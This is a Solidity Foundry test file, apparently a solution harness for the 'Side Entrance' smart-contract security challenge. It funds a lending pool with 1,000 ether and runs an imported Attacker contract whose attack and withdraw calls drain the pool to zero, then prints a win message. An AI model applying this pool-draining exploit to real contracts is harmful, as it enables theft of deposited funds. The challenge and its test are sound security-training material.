SideEntrance.t.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "forge-std/console.sol";

import { Utilities } from "./Utilities.sol";
import { SideEntranceLenderPool } from "../src/side-entrance/SideEntranceLenderPool.sol";
import { Attacker } from "../src/side-entrance/Attacker.sol";

contract SideEntranceTest is Test{
    uint256 internal constant ETHER_IN_POOL = 1_000e18;
    uint256 internal constant PLAYER_INITIAL_ETH_BALANCE = 1e18;
    address player = makeAddr("hackooooor");
    SideEntranceLenderPool pool;

    function setUp() public {
        pool = new SideEntranceLenderPool();
        pool.deposit{value: ETHER_IN_POOL}();
        assertEq(address(pool).balance, ETHER_IN_POOL);

        vm.deal(player, PLAYER_INITIAL_ETH_BALANCE);
        assertEq(address(player).balance, PLAYER_INITIAL_ETH_BALANCE);
    }

    function testExploit() public {
        vm.startPrank(player);
        console.log("Initial Balance of pool:", address(pool).balance / 1e18);
        console.log("Initial Balance of player:", address(player).balance / 1e18);

        Attacker attacker = new Attacker(address(pool));
        attacker.attack(ETHER_IN_POOL);
        attacker.withdraw();
        vm.stopPrank();
        validation();
    }

    function validation() public {
        assertEq(address(pool).balance, 0);
        assertGt(address(player).balance, ETHER_IN_POOL);
        console.log("Final Balance of pool after `withdraw`:", address(pool).balance / 1e18);
        console.log("Final Balance of player after `withdraw`:", address(player).balance / 1e18);
        console.log(unicode"\n🎉🥳 Congratulations, you beat the level!!! 🥳🎉");
    }
}